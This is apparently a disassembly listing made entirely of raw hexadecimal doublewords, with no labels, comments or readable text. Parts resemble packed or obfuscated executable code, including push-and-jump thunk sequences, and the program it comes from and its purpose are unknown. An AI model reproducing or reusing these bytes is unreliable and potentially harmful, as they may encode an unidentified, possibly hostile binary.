		dd 0B037E451h, 0CB0368F7h, 5812F769h, 801BE016h, 2693EF3Bh
		dd 95BBAh, 0D1610A00h, 29B96499h, 7E0EBCF1h, 0D1611146h
		dd 27B76499h, 9D22F3EFh, 0F32860F0h, 4A7FB747h,	9ED30B9Bh
		dd 0E82C64F4h, 4E5BF459h, 63A81FAEh, 3FED4CF3h,	0E7892A64h
		dd 9B3E67Bh, 2FD90C79h,	26A1329Fh, 0A030DA27h, 1CC6F968h
		dd 4ADF1F8Ch, 989E22D5h, 1F09BA6h, 0DB0E0000h, 0B8089D2Dh
		dd 3DCCDB0Ch, 61F19DD0h, 0F36E1CE0h, 43D8F7DEh,	0AA533CDEh
		dd 0AC568B1Fh, 815CAAFDh, 0C1236B2Dh, 45B21454h, 6D066BD8h
		dd 8B1FA946h, 926B9E7Ch, 4294A1h, 2F11066Bh, 0E9861FA9h
		dd 56A85B64h, 0A321AD42h, 94000001h, 17A9C227h,	34761FA9h
		dd 0BE56D7B3h, 7A0F621Dh, 4CDC862Ah, 4FDF8ABDh,	45BC83E2h
		dd 1B70299Bh, 6CD924B9h, 8EFB8B39h, 0DC86B94Eh,	46A5144Ch
		dd 87685B95h, 37E47936h, 368F7B0h, 1FAAF773h, 0BC218ED0h
		dd 1FAAF7DFh, 19AE9F3Ch, 147936E6h, 1FAAF77Bh, 8F2486C8h
		dd 427E671Ah, 0D07BAEADh, 0A20F9F4Dh, 306B0062h, 53h, 0CCDB0CC0h
		dd 0FE63D03Dh, 1900F365h, 76DB70B2h, 1FAA07F0h,	0EA83E857h
		dd 81FA9E7h, 3481889Eh,	0AAEC3EFCh, 3B6EDB48h, 76C0191h
		dd 1FA98B12h, 15C5F887h, 43D81885h, 0E34285C8h,	0E07D729Ah
		dd 0E695EA74h, 14A9E956h, 41FFEC9Fh, 0CC65ADh, 4CF50000h
		dd 47DC6C19h, 0EBBB6A14h, 3F70DAE2h, 70A31072h,	93C633C3h
		dd 26B666E9h, 782479B9h, 0AC1986E8h, 67A0844Dh,	0F58A1F94h
		dd 508818C2h, 1E567E9h,	9727D119h, 9B2BD508h, 4359EE2Eh
		dd 96355394h, 886785C7h, 0E10ED352h, 391D3760h,	0FE348D7h
		dd 1F1FAD4Eh, 41AE3EECh, 0CD3C6C01h, 0AD6FCF68h, 78DA1C1Fh
		dd 7B0BB6E9h, 0CC39CE0Eh, 0CA2FEC99h, 1FAD6FB1h, 4BDA3C7Eh
		dd 6FE079DEh, 0EB2D1FADh, 5E0B4056h, 5D6D98CEh,	0E855FC94h
		dd 7637Ch, 0C9590200h, 21B15C91h, 7606B4E9h, 0C959093Eh
		dd 1FAF5C91h, 952AEBE7h, 0EB2058E8h, 4277AF3Fh,	96CB0393h
		dd 0E0245CECh, 4C53EC51h, 5BA01FAEh, 49D986EBh,	0A232DC11h
		dd 0DC86186Ah, 572DF4Ch, 0F387A0h, 7D125419h, 0D810A04Ah
		dd 4F6Ah, 7E9F1800h, 7201A641h,	0F387A005h, 0B2171900h
		dd 1900F399h, 90D22466h, 90FD8D3Bh, 0E94EBB50h,	1FAFA1BDh
		dd 5AEA9ACDh, 0E818ADEDh, 7F112BA6h, 7302A542h,	10F9B0Eh
		dd 5FEE3019h, 5BF0802Ch, 2D369502h, 520A102Fh, 5D036F04h
		dd 0B1000000h, 3DCCDB0Ch, 5FEF9DD0h, 0F3BFD8h, 0B54A8C19h
		dd 0FCA7E348h, 0C2041FA9h, 0B00AD433h, 0D6D1D4EDh, 5689F641h
		dd 0EE87ECA9h, 3B1FA923h, 0EA2A97F9h, 0E855E595h, 0EEAE13A8h
		dd 0FD1FA933h, 9BFACD80h, 41513B76h, 20B05C07h,	6B7C29BEh
		dd 0C248AD3Ch, 691900A8h, 0F181EF27h, 2F000000h, 3DCCDB0Ch
		dd 65FE63D0h, 0B21900F3h, 3C8A5551h, 0F85AE84Ch, 478EFE63h
		dd 0DB1D1FAFh, 0B0630521h, 7AAB5706h, 98DD9A92h, 0E996C936h
		dd 0C628B866h, 0EB7B2659h, 0EA653E7Eh, 66FF6463h, 0B31FAFAFh
		dd 24A10F71h, 8F3F9E29h, 720B7012h, 0BF1FAFFEh,	82C7FC7Dh
		dd 2CBC6CC1h, 7B6F2297h, 81E8AD48h, 78000000h, 0DD6D194Ch
		dd 684C9B48h, 81C12EBEh, 0F023901Fh, 747B444h, 0A1980D72h
		dd 0EB2D1FAFh, 0BC79295Ch, 0AE5D3E57h, 67C90B1Fh, 8D25BAFAh
		dd 8603DF71h, 2C45F8C7h, 598CAD47h, 498419A9h, 40h, 0CCDB0CD9h
		dd 0A152D83Dh, 0B7F91FAFh, 0EE218EFDh, 1029B040h, 0DD1FAE5Ch
		dd 0C9C469Bh, 0B0CA5F9Fh, 1BAB5B9Ch, 3FCF7BAEh,	0ADA01BD2h
		dd 0F15CD947h, 67F7A3D6h, 29AA5DD2h, 0D23AD47h,	0B3000000h
		dd 10F6A54h, 0B53BC919h, 0E9FFFFFEh, 3DCCDB0Ch,	0AFA180D8h
		dd 1C89CB1Fh, 903C786Fh, 0AA0F9E00h, 19010E7Fh,	0B01D8ACCh
		dd 0AD45DE43h, 5092145Dh, 0DBD90EBBh, 0B03FA131h, 0D2621043h
		dd 1AA63751h, 0F2876D7Dh, 0F20B378Dh, 0B6158412h, 0F6196342h
		dd 0CC65EC5Eh, 190D0CDAh, 43D382D7h, 0B2E552E1h, 0C9097606h
		dd 0C6560134h, 9F08DF8Eh, 8861AB10h, 9DD20BA3h,	2FBF6EF1h
		dd 0CB2082C2h, 9B2A8C1Ch, 9A29B968h, 0BC29B967h, 6AD1E77Ch
		dd 0AB9D46E0h, 0EC41B312h, 96039340h, 87D0D556h, 580235CAh
		dd 570639C8h, 13FB5AC7h, 0BC0F2CAh, 0A5BB50B2h,	0C936C670h
		dd 4DDCCB1Ch, 48362EE8h, 610D40ADh, 41D17CD1h, 0CD3A7CACh
		dd 299EAF4Ah, 0DDDD06CAh, 58AD2FBBh, 6FAF1CACh,	4EFDA7DAh
		dd 0AD07D824h, 154DAF8Bh, 0FEAE31E0h, 6CC1016Eh, 84C431C1h
		dd 0E948B522h, 625CF485h, 9CCF647Ch, 3DF461F1h,	0C7768BC2h
		dd 1BCAFF37h, 62041E8Bh, 0BE0944DFh, 3B53EC51h,	5EA0A08Ah
		dd 64E796C9h, 8DC527B7h, 0C7E00C3Bh, 0ED7D275Ah, 1986F380h
		dd 0F39BB4h, 91266819h,	9C503716h, 564D30Bh, 7651B96Ah
		dd 51EA4F27h, 9E190041h, 3265FA5Ch, 0EF2AD988h,	85069645h
		dd 0C6286E32h, 923E9D0Ch, 1F387908h, 0EA7B952Ah, 0D9EE5FFCh
		dd 0D166F6A6h, 0D564F49Eh, 0F865F5A2h, 97CA23B8h, 2BBB69ECh
		dd 0BCEF5CC9h, 87EC8111h, 19005EEEh, 1004DE8h, 437C656h
		dd 1A5AC757h, 8B3A6F85h, 6D298EFBh, 5619005Eh, 0DE8D74D9h
		dd 53AF164Eh, 981901BEh, 99484F01h, 0FF6BC8A6h,	0CE3BFFFFh
		dd 25D069h, 46DB1D19h, 59DC86F6h, 6DAD1AAAh, 0F764D30Bh
		dd 0F3F992h, 6F044619h,	4802923Ch, 4AD96913h, 0F3DF78DDh
		dd 0EA2C1900h, 0DC88BD55h, 0FCACDF4Ch, 0CD48FF6Ch, 76117480h
		dd 0D1802AD7h, 8DE49B0Dh, 0CE7C6C2Fh, 27CF1D6Bh, 7BE863C5h
		dd 76DB9848h, 19003ADDh, 0F186E82Ah, 9947C97Ch,	5A42A6h
		dd 0CD20000h, 0D03DCCDBh, 0F3D26Bh, 48DD1F19h, 0A13376DBh
		dd 56981FAFh, 1EEF809Ch, 2ABDCA83h, 0DE11E5Eh, 38C7BAC1h
		dd 0AE7ABAD3h, 0E345871Fh, 28B8EF54h, 0CF111901h, 0D56ED340h
		dd 22145DC4h, 44B141EDh, 0B40DA204h, 4248h, 117AD900h
		dd 3AFAF473h, 6CFCA7FCh, 0DA2ABFFFh, 3DCCDB0Ch,	0AFA151D8h
		dd 5599FA1Fh, 7DF02CA9h, 0BEDA94F6h, 0D77611A4h, 0A32391F0h
		dd 2402260Eh, 0A205E28Fh, 0A030E013h, 0CE399E0Bh, 5B1901AFh
		dd 4C4E9E19h, 70DD6D19h, 0BE689B30h, 0E48EC12Eh, 7A6D1C54h
		dd 39399E2Dh, 0C91FAA06h, 5DAD866Ah, 6915A502h,	0B2E277D9h
		dd 63960370h, 79B926B6h, 829A7FE4h, 62FF1FA9h, 0EB21D4EBh
		dd 429AAD41h, 0D000000h, 499E2EDAh, 5C9C0999h, 0DB0C77C7h
		dd 92D83DCCh, 0B91FAA07h, 3D89E877h, 38C024D7h,	69D621B6h
		dd 8AFE97FCh, 94B1FA9h,	8A0A0F74h, 0F28F1FA9h, 0F7B1645Bh
		dd 0C5F8AD41h, 0B6F18616h, 0C9h, 59DC8646h, 6CAC19A9h
		dd 6FDC6C17h, 2D60CD2Fh, 5083F080h, 76A916A6h, 9D043CCCh
		dd 1900F8C3h, 3CE86B15h, 9DFF3FACh, 2489F665h, 1900F60Bh
		dd 0CE0196D8h, 0F18B7524h, 641D896Eh, 0C7CD4AEAh, 0A5FC162h
		dd 0FD6ACC5Ch, 81109750h, 0A96A061Ch, 5B93D51Fh, 0DD6C3BACh
		dd 5066078h, 1AA9EB19h,	1BAA3AE7h, 3BA838E8h, 5FCC5C08h
		dd 1228BD1Fh, 6AA030DDh, 0F5ECA50Dh, 0D958C431h, 8C000001h
		dd 0E61B53E3h, 3E73AB3Bh, 93C80090h, 0E61B53E3h, 7571A939h
		dd 0E2721FA0h, 39C975AAh, 8D1DCC01h, 0E6762055h, 76DB6AAEh
		dd 1FAE36DDh, 8675E52Ah, 6D3B2AD9h, 0DC09E62Ah,	630D427Ah
		dd 0BF2C9BD3h, 0A5C15Ah, 37CC0E19h, 7ADF4CE7h, 1900F3E1h
		dd 0BA4AF92Eh, 16AB0D4Dh, 9A297E69h, 0AA073135h, 67D4161Fh
		dd 0A9E71502h, 7000AF1Fh, 18319603h, 0E51FA9E7h, 0E9E4EA3h
		dd 0B49914A1h, 0FC2FBE40h, 1555C252h, 7F480580h, 0A512A24Ch
		dd 0A85BD065h, 0EFAD4192h, 138010BCh, 0C7033ED3h, 93000000h
		dd 0BD4CDC86h, 0DF4CDC8Ah, 8CBF0A9Fh, 0A4BD22DFh, 711900F3h
		dd 0FB60CD2Fh, 1900F825h, 139C973h, 0A7C02592h,	711900F7h
		dd 85C532C2h, 295CF133h, 0D582EF7Fh, 0A1069512h, 1FA9F18Dh
		dd 71E0185Ah, 5A137B12h, 0C217070Dh, 44F18616h,	0DD88E5A3h
		dd 9CD6CB73h, 0A9261E37h, 47A9EB1Fh, 0B8F156E5h, 5190571h
		dd 540134C3h, 249121D1h, 154A82E4h, 0BFA2D868h,	73F5EC74h
		dd 0BA9A06h, 2AB0000h, 5A053A72h, 0AF5D92CAh, 2B2E71Fh
		dd 58053A72h, 839490C8h, 0C901913Eh, 2058E894h,	74AC3CEBh
		dd 0CD05953Fh, 0FC95FA89h, 491FAE35h, 0D9869404h, 0A97ABA2Ah
		dd 339815BBh, 1900D71Ah, 0E143A5E7h, 3ACA74A9h,	0DF4CB002h
		dd 0F3E17Ah, 0BB26FF19h, 5CA16609h, 33C80Ah, 2659C656h
		dd 7FB4EC7Ch, 0D80D45D5h, 730C712Eh, 0C0190028h, 0F18AEF7Eh
		dd 3E190028h, 0C82D9AFCh, 4297222Ah, 0DD2429A4h, 366BA333h
		dd 5C8FFC8Ch, 2CAF1CACh, 9B45BC91h, 0ED1D7C0Bh,	0FDDCDC6Fh
		dd 57E795EAh, 0CD77ACC2h, 0AC4FAE3Dh, 0F05C8309h, 0E7AC55Ah
		dd 8, 77AA39BCh, 54A439C9h, 0E04DDD86h,	67303ADh, 279424D3h
		dd 4BB848F4h, 6EDB6B18h, 91FE8E3Bh, 0B11EAE5Eh,	0D340D07Eh
		dd 0F865F5A0h, 0E689567Fh, 4C681h, 0EE830000h, 24348704h
		dd 6824248Bh, 7BE7h, 68242C89h,	7FD5h, 81243489h, 4ECh
		dd 24348900h, 0AEB05DBEh, 5EF58906h, 8904EC83h,	4812424h
		dd 424h, 22685E00h, 89000077h, 468F242Ch, 2434FF08h, 4C4835Eh
		dd 5D2434FFh, 4C481h, 0B1E90000h, 9DFFFB82h, 0BD4C34E6h
		dd 0DDBCF13Fh, 81F875DBh, 0C704B88Ch, 0C50306AEh, 0F322E0FFh
		dd 92CD7B7Bh, 6BEB334Fh, 869C2E0Eh, 0C64B5737h,	0B9835E24h
		dd 0D73505A5h, 8F376BEEh, 542A6AEDh, 88FF770Bh,	0DC0A3F82h
		dd 54430972h, 30126032h, 436C37F5h, 2AD71863h, 431D3E76h
		dd 0FA8A620Ah, 1F884FD8h, 0D1004DFBh, 33A16E8h,	1BBC71B7h
		dd 31DC759Eh, 80CD5800h, 75F5036Ch, 738B0DC2h, 8D8D02A2h
		dd 6AEC851h, 4BD38166h,	6820FE6h, 8B000000h, 0A9284195h
		dd 0CD8D8906h, 0C706A916h, 0A90CE585h, 615006h,	9DBD8B00h
		dd 0C706A916h, 0A911CD85h, 6, 0A1BD8900h, 8B06A933h, 0A934219Dh
		dd 0C1B5FF06h, 0E906A911h, 0Fh,	0B2741379h, 827CE849h
		dd 72E90ED4h, 0FF9CAF85h, 0A9328195h, 0E1858B06h, 6A06A934h
		dd 9595FF00h, 8B06A92Dh, 0F82AEBC0h, 95CB1F4Bh,	0DA318F24h
		dd 6B301D95h, 86D2403h,	25FAB58Ah, 6D3ED502h, 0AFA788Ah
		dd 0C12E0BF0h, 8E9AA192h, 0CE921CC5h, 11E825h, 839F0000h
		dd 356D2B29h, 2CA65AF1h, 39B54323h, 1F84B43h, 0A91A919Dh
		dd 8B665806h, 5C081DAh,	8B00006Ch, 1AE268D8h, 85310000h
		dd 6A91A4Dh, 0F5BD895Ah, 8B06A916h, 0DBD8938h, 8106A90Dh
		dd 5F9AB8EFh, 7585892Fh, 8106A92Eh, 6D1574EFh, 118D0355h
		dd 8106A928h, 70D4C1C7h, 0CEB70F51h, 0B9B50957h, 8F06A907h
		dd 218D8B00h, 8306A915h, 0B96604E8h, 0F4A16B7h,	0FFFFBA85h
		dd 358589FFh, 0E906A91Dh, 55h, 23095FCh, 0
		dd 4AC51C57h, 36614843h, 0A7A5ADF9h, 75528C88h,	0BE00B7FBh
		dd 0E5ADF99Ch, 9D89937Eh, 1DF4C700h, 19606392h,	0DEh, 9	dup(0)
		dd 0B9EE900h, 7B680000h, 0E906AECAh, 0FFFAB66Dh, 0AECBD768h
		dd 0B663E906h, 0DD68FFFAh, 0E906AECCh, 0FFFAB659h, 0AECD9068h
		dd 0B64FE906h, 3F68FFFAh, 0E906AECEh, 0FFFAB645h, 0AECF1168h
		dd 0B63BE906h, 668FFFAh, 0E906AED0h, 0FFFAB631h, 0AED20A68h
		dd 0B627E906h, 0F468FFFAh, 0E906AED2h, 0FFFAB61Dh, 1D1A5AF2h
		dd 0ABA8DA77h, 39366C05h, 0C6C3F593h, 4D4A8620h, 0CE681212h
		dd 53EF9592h, 0E37E2421h, 6F0EB4B1h, 56EA403Dh,	0F54D2EC8h
		dd 0D9F76AF5h, 0EF816F53h, 1629CD5Bh, 0C677FCA4h, 881CB064h
		dd 0A415FCFAh, 89EB9CFCh, 75DCB7DBh, 2EC071F2h,	3D77129Ah
		dd 0F199FBAAh, 7D232052h, 238D5DEh, 7E11C06Fh, 0B446AA18h
		dd 0C2FE9820h, 1531B260h, 830BEBC7h, 7221B4E6h,	730E9610h
		dd 0E897CD6Ah, 65F7A655h, 47AF3DD1h, 51FCA415h,	0F7963EA0h
		dd 8C1F55EEh, 89BB57DDh, 22C048DAh, 4AAC5BEEh, 0B4E6852Bh
		dd 0E907BB21h, 2444C957h, 5304F27Fh, 0A2011ADCh, 55760B8Fh
		dd 9CCh, 0E1DE16AEh, 6F6C9E3Bh,	0F5F230C9h, 827FB14Fh
		dd 110E42DCh, 922C4ED6h, 1FBB615Eh, 0AF4AF0EDh,	33D27875h
		dd 1AAE0401h, 0F54B6A8Ch, 0A5C336F5h, 0CF629433h, 0E678AA49h
		dd 1632C452h, 236EFCA4h, 6A88FEBFh, 3092419Dh, 0B9378B11h
		dd 0F1059327h, 0AFFCA323h, 5AE89CFEh, 0F27E3283h, 139F32E3h
		dd 0F5FA34AFh, 65258FF2h, 0A00F228Dh, 4308h, 2ECC5400h
		dd 391E67FAh, 29C904F3h, 949AB5Ah, 0EF816F53h, 7F233061h
		dd 9673BEF2h, 0F9D4B346h, 8A3BB517h, 0C5576BF7h, 49E3F5FAh
		dd 5FFE8417h, 30939A2Dh, 0D83B5AC4h, 0AF44AE6Ch, 0E951A00Fh
		dd 11000000h, 1FA1DC27h, 0B431D7E8h, 20BAA52h, 12982B69h
		dd 0F9A83B79h, 82089B4Ah, 0CF1AACE8h, 0DD811C00h, 947BC411h
		dd 1898DDFFh, 0D6681D7Fh, 0F85D0F8Bh, 68CA0721h, 7B1821C0h
		dd 5807B649h, 6EA03FC5h, 68F391DCh, 0F7933410h,	0E71F9AAEh
		dd 4EB0AAD9h, 513A832Fh, 0D45CFCA3h, 0C5740739h, 0EA1CBB63h
		dd 28F03BEDh, 4EBD69FAh, 67FA30CDh, 0FFA709B8h,	359B2E60h
		dd 43D1638Dh, 0F27F0172h, 0FA807D2Eh, 89628C8h,	0EBC7AD96h
		dd 0A72FC172h, 0AD41D30Dh, 0A173D71Fh, 0AE10C1FCh, 154FE98Fh
		dd 9B2CA9Eh, 0D2EC389h,	870h, 3532720Ah, 0C3C0F28Fh, 514E841Dh
		dd 0DEDB0DABh, 65629E38h, 0E680FA2Ah, 6B07ADAAh, 0FB963C39h
		dd 8726CCC9h, 6E025855h, 0F54B16E0h, 0F10F82F5h, 14CD9933h
		dd 8C7795Bh, 5C02FFAEh,	508E8BBDh, 0EF816F53h, 2F38D35Bh
		dd 1FB26193h, 194BEA70h, 0C775D786h, 0F27F23CAh, 487C169Eh
		dd 487A0699h, 0F2F5FB01h, 88E2153h, 38A6396Bh, 0AC3A89F3h
		dd 0F5FB014Ah, 0D7F6A556h, 33BB0874h, 0DC016395h, 0A00FEC16h
		dd 0ED09972Bh, 0ABF5FAF5h, 0C73898FAh, 84000000h, 0C92B5DFCh
		dd 62943389h, 75AF49CFh, 8DBF5BE3h, 27C54BFAh, 51B362F5h
		dd 11AD109Ch, 47CFFCA4h, 6A1274AEh, 0F69C99CBh,	2C922557h
		dd 0B4E68396h, 0CCFE9B21h, 91DC6E1Dh, 0AB48B188h, 0EE37E679h
		dd 89EB7C2Ch, 6A6E47D5h, 792AF27Eh, 24CCF67Ch, 0D7A70492h
		dd 0B263EBC6h, 0EBFE9820h, 726F1E50h, 8D2732CCh, 612DA453h
		dd 4889094Ch, 76A92B3h,	78100000h, 0FC993F3Ch, 8A23C9C6h
		dd 17B55B58h, 0A842E8E5h, 0F0346F6Ch, 0B7B4F08Ah, 423F7511h
		dd 0D2CF019Ch, 5E5B8D2Ch, 10E67408h, 90F5F54Ah,	9933FF1Dh
		dd 0B04DD567h, 0C755E77Ah, 0FCA4162Fh, 0A709B869h, 1143E288h
		dd 691A347Fh, 233F2F37h, 42A45385h, 9433E523h, 0A948D062h
		dd 0C452E477h, 0FCA41632h, 0AC0EBD6Eh, 0A0D271F7h, 15CBF7A3h
		dd 338FFCA4h, 0FB9D2BBDh, 25F275DBh, 1DCCFE9Dh,	3264038Bh
		dd 477918A0h, 84A305B4h, 0EED687D2h, 0BDAA561Bh, 0E214B35Bh
		dd 17D9E94Fh, 47BEF785h, 18A0EBD0h, 6DE7497Bh, 0E09745BCh
		dd 0C156890Ch, 6B7A0h, 0F92BC300h, 83B956FCh, 0D47E086h
		dd 98CC6A10h, 295BF59Bh, 4733F12Ch, 0D07673ADh,	5D030034h
		dd 0ED9390C2h, 0C91F1C4Eh, 484FA735h, 0D649F5F5h, 629433B8h
		dd 1BB53DCFh, 40DF87E9h, 81EE9374h, 6B1AADE7h, 5B4D8422h
		dd 418419ACh, 0C3F594FBh, 0C44FA3C6h, 746A6B8h,	6000000h
		dd 16D98h, 952D5A00h, 0C5FCA415h, 0CD61F3FDh, 7C4E7182h
		dd 0D5371554h, 7562B427h, 9527D8F2h, 0AA3C6E0Dh, 0B84B8922h
		dd 86EAC009h, 7D3DAE77h, 0B756FC1Bh, 0D16BF385h, 0FB5D0C9Fh
		dd 0EE2E046h, 9AC7EE7Ch, 26D7EBD0h, 0C93F7AFh, 21B689h
		dd 608h, 9D9ADA72h, 2B285AF7h, 0B9B6EC85h, 46437513h, 0CDCA06A0h
		dd 4EE89292h, 0D36F1512h, 63FEA4A1h, 0EF8E3431h, 0D66AC0BDh
		dd 0F547AE48h, 5977EAF5h, 0F17F9433h, 0FCA41605h, 0A033E293h
		dd 0B6497B1Ah, 0CC5F9130h, 0E275A746h, 7AE45093h, 0F55AA2E5h
		dd 4272456h, 0A6B8FFEEh, 0FA2CCB53h, 0E2E3A5B1h, 8FF1FF1Ah
		dd 72Fh, 0AF98EF00h, 5A000000h,	0CC069F27h, 0A0288A39h
		dd 0AE3CCE22h, 0F275DBE4h, 96E17324h, 42B49BD9h, 9347A9B0h
		dd 3D3A6C0Bh, 8D69F78Bh, 0BF5F544h, 0B150F85Ah,	3C86EC7Fh
		dd 0CBD722B4h, 393AC4B8h, 2DBB6FD1h, 0EBC73AB6h, 0F77F11C2h
		dd 83292658h, 0B91FB2E4h, 0C755E709h, 0F27EB746h, 0D6DA5102h
		dd 0D78FA26Ch, 5362142h, 0AC440000h, 38D57B78h,	0C65F0502h
		dd 4BE98F8Ch, 0DC761C19h, 0B470ABA8h, 0FBF82CC6h, 8683B955h
		dd 0E0B45E0h, 9A97C968h, 0D422B044h, 0C4F5F546h, 0DC273351h
		dd 42D022D0h, 0FCA385B4h, 95EA33E4h, 55F47A80h,	7FE19023h
		dd 1573Ch, 6F53FE00h, 0EF7539Eh, 58BAD390h, 0A33F2ACCh
		dd 16C576FCh, 59CF684h,	0BB6CF275h, 9EECDE29h, 504B3331h
		dd 66CD5EC4h, 0B416C520h, 45E46C00h, 6A09B113h,	0F6953B38h
		dd 0F7CB31C4h, 45DF67F9h, 0B6EC850Bh, 5E127423h, 0C79213D0h
		dd 41DF67EBh, 1ECD7C0Fh, 0D664F88Ch, 0FCA39220h, 0C56DCF80h
		dd 51F7F426h, 0ED6E6B2h, 9888311Bh, 35C357E9h, 0FCA410C1h
		dd 47DA18B1h, 0FD8F4098h, 0A410876Fh, 0FE6011FCh, 3ADFE349h
		dd 0BEF4919Ch, 3ACD7C2Bh, 0BC4ADC8Bh, 0F27F1F51h, 0B4E6850Dh
		dd 4CC37221h, 8FA2046Eh, 4189AA3Fh, 39000004h, 0C06663A1h
		dd 4EF4F123h, 0DC827FB5h, 670D0A3Eh, 5B9693CDh,	0DD17B1C9h
		dd 669E3AE0h, 0F628C369h, 82B453F9h, 0D9B2F85h,	0F5F545E9h
		dd 332644B7h, 3DCF6294h, 4FE218B5h, 0F7963EA0h,	5A9D32C5h
		dd 7F0DA112h, 0FCA41577h, 660E7021h, 0B80395C7h, 9027056Ah
		dd 0DAF95B52h, 0B8C33BB7h, 4A5AA6h, 271A0000h, 39CC069Fh
		dd 22A0288Ah, 942759F7h, 16A436E5h, 0F27F57ECh,	25B94BFCh
		dd 69CB019Dh, 0EDEA28C1h, 0FAC88041h, 61BBAF5h,	0FAC87E78h
		dd 0BA691AF5h, 617E17BDh, 73063CD9h, 0C8BE38C4h, 29DAF5FAh
		dd 95C6E77Ah, 88000003h, 0D4669833h, 0E61AB840h, 0DE18A453h
		dd 0BAFCA415h, 155E9826h, 893AFCA4h, 3DC378DAh,	0BD6F6C9Eh
		dd 155B9B29h, 0BD45FCA4h, 0DD3FEE24h, 0D1649635h, 7D7AAC4Bh
		dd 9325CBF7h, 0A2DC77FFh, 244B9240h, 7A2BF27Fh,	34CD55E7h
		dd 5ABC6BFEh, 0FB0216ACh, 558724F5h, 6EA23CC2h,	0E54FB2DBh
		dd 14A85A79h, 0FB027086h, 0ED7F30F5h, 0FB02975Fh, 0EE5001F5h
		dd 48D02389h, 0D1039EAFh, 579BC022h, 3EA00FF0h,	3Eh, 2D67028Ah
		dd 497B149Ah, 7C7A089Ah, 1CF5FAFAh, 53C9096Bh, 61EF816Fh
		dd 0F27F2330h, 28B447F8h, 0F5FB019Ah, 7A58A407h
		dd 0A00FEB78h, 0DB1Dh, 47E16900h, 0B5BEC40Dh, 9E4C7BCBh
		dd 9433FC3Ch, 0A93DCF62h, 0A415DB1Bh, 0F9FD8BFCh, 0A7FCA415h
		dd 0A6539EF6h, 47C0E3CDh, 0EA92F4A3h, 0FB811450h, 11972A5Ch
		dd 1AAE4072h, 0A3D46A8Ch, 238536FCh, 0D0655804h, 0F493FCA3h
		dd 801FC5C2h, 6D55BB4Eh, 9663F183h, 0C8F27ED1h,	0FE9AA340h
		dd 0D58433C6h, 0B7319342h, 3F830906h, 0C157D017h, 0A85705B0h
		dd 0BBF18E16h, 63177928h, 0C75B5ED5h, 0F7893AEBh, 20F61863h
		dd 0E5779C1Bh, 0FE653F28h, 0BC1ECD14h, 49467A14h, 60D709A3h
		dd 89096244h, 3D93B449h, 3D000002h, 0CC726FA5h,	5A00FD2Fh
		dd 0E08683C1h, 6B110E42h, 67A29FD1h, 0F123BDBDh, 7AB24EF4h
		dd 23CD77Dh, 8EC05F05h,	19A73B91h, 0F5F543DDh, 332A48BBh
		dd 0C46A6799h, 0B8F6F325h, 0EF816F53h, 0BD39C75Bh, 0DBFCA415h
		dd 0EF82B453h, 812F9140h, 0F27F2310h, 0FAFC8A1Eh, 0A6F5FB01h
		dd 0B74A821Eh, 35D35908h, 5FC17003h, 1AA234E5h,	2FE4467Eh
		dd 6E77159Dh, 59EC9BD1h, 289A48AAh, 79F5FB01h, 6ECAE16h
		dd 8FA00FECh, 0BEh, 6294334Fh, 75AF49CFh, 116756E2h, 0FA99FCA4h
		dd 8625CBC8h, 675BC154h, 9069F789h, 0CEF27F10h,	1803CF83h
		dd 1577AAB4h, 67EDEA9Bh, 7503955Bh, 0EBC6EDE1h,	13E37105h
		dd 8DFCA1AFh, 3ABC4ADCh, 66FCA1AFh, 28D953B5h, 41730E96h
		dd 9A32BDFh, 9A34DAD7h,	77DFEF66h, 39CE8909h, 15318h, 558F2700h
		dd 0DF15B258h, 71A33CE2h, 0FC30CE74h, 85BF59FFh, 0A3D74D88h
		dd 34DAD709h, 0C1676498h, 49EFEC26h, 257B78AAh,	43F30391h
		dd 3AADF5F5h, 6799331Ch, 0D99C8AD5h, 7855B1E9h,	0B251F716h
		dd 0EEAEA3E6h, 0DF7A7D8Ah, 0B547F6A5h, 4A639321h, 0F23DFCA3h
		dd 5FC15B84h, 0B517C6D3h, 94335896h, 0B53DCF62h, 0C55EE416h
		dd 0EB4DFC8Fh, 29BA443h, 0DF8E3DD0h, 8A665CE2h,	0DE816AF8h
		dd 5405F275h, 56A02EC2h, 42F5F54Ch, 4CD620AEh, 11C2F5F5h
		dd 0B94B0062h, 0CFBAF56Eh, 0F57FB541h, 0E932E3F5h, 4DDF22F8h
		dd 0F5AA37BFh, 4EB061F5h, 0D8D507A6h, 0EE8A9332h, 0C57423B6h
		dd 0EABCA632h, 23B5E953h, 0E9F5018Fh, 0F2A3FA73h, 72C12B90h
		dd 0B11351EAh, 0C7556A09h, 0FA73EA2Fh, 9826B869h, 0FA73E95Eh
		dd 0DDDA893Ah, 99C7E02Bh, 67FA30CDh, 9EFE6FB8h,	87B957DDh
		dd 3BE345F4h, 0C8FA939Ch, 63FF8719h, 8DEF9E31h,	9DB452D8h
		dd 0EAD99F52h, 28B4EFEFh, 0FA73C4CEh, 0D76A19CAh, 0EA7DB751h
		dd 699CB64h, 0C6509CFFh, 0AF105CBFh, 3BE1DE10h,	45D76A9Ch
		dd 97CB4AFAh, 1CA1EC5h,	0F5DD2611h, 2F72D45Dh, 10h, 9B5BE97Dh
		dd 0D7FA73EAh, 0FFB0083Ah, 2D4D5D9Dh, 0D6699B33h, 0EC7FB150h
		dd 699CB66h, 1DB0E480h,	30C3FD97h, 41D410AAh, 58EB1DBBh
		dd 68FB39D2h, 7C0F45E2h, 2673682Ah, 0C890000h, 4EC8124h
		dd 89000000h, 8953240Ch, 4C381E3h, 83000000h, 1C8704EBh
		dd 4895C24h, 8BE5624h, 0B92EE431h, 3E4F286Fh, 0C981D1F7h
		dd 44D3168Fh, 8E9C149h,	0FB20E981h, 0F131D87Ah,	48B545Eh
		dd 4C48124h, 56000000h,	24048151h, 14431FA4h, 0A4EE815Eh
		dd 8914431Fh, 8B5E0870h, 89522404h, 4C281E2h, 81000000h
		dd 4C2h, 24148700h, 240C8B5Ch, 81E18951h, 4C1h,	4C18100h
		dd 87000000h, 0E95C240Ch, 0FFFAAADDh, 49300B62h, 0AED46CB8h
		dd 0FFC50306h, 0C0E7ADE0h, 0FE7E5E4Fh, 9FB2213Ah, 8E20DC75h
		dd 21EDA04Bh, 45D5CC4Ch, 0EE061B31h, 0CAC66C7Ch, 67D32E69h
		dd 12DFDC15h, 0A9CA876Dh, 0C8A4CA6Eh, 9762172h,	2CEC1044h
		dd 0AC5A3370h, 949B6935h, 847937Bh, 0B4A8BA6Eh,	221C3B41h
		dd 6D151F2Eh, 1FE90Ch, 16720000h, 3936h, 6 dup(0)
		dd 5B3E900h, 20B80000h,	0A441E7E4h, 32CB716Eh, 0BF5D0300h
		dd 50EA908Dh, 48DC1714h, 5F5C9832h, 0EAE71DB9h,	7A77A944h
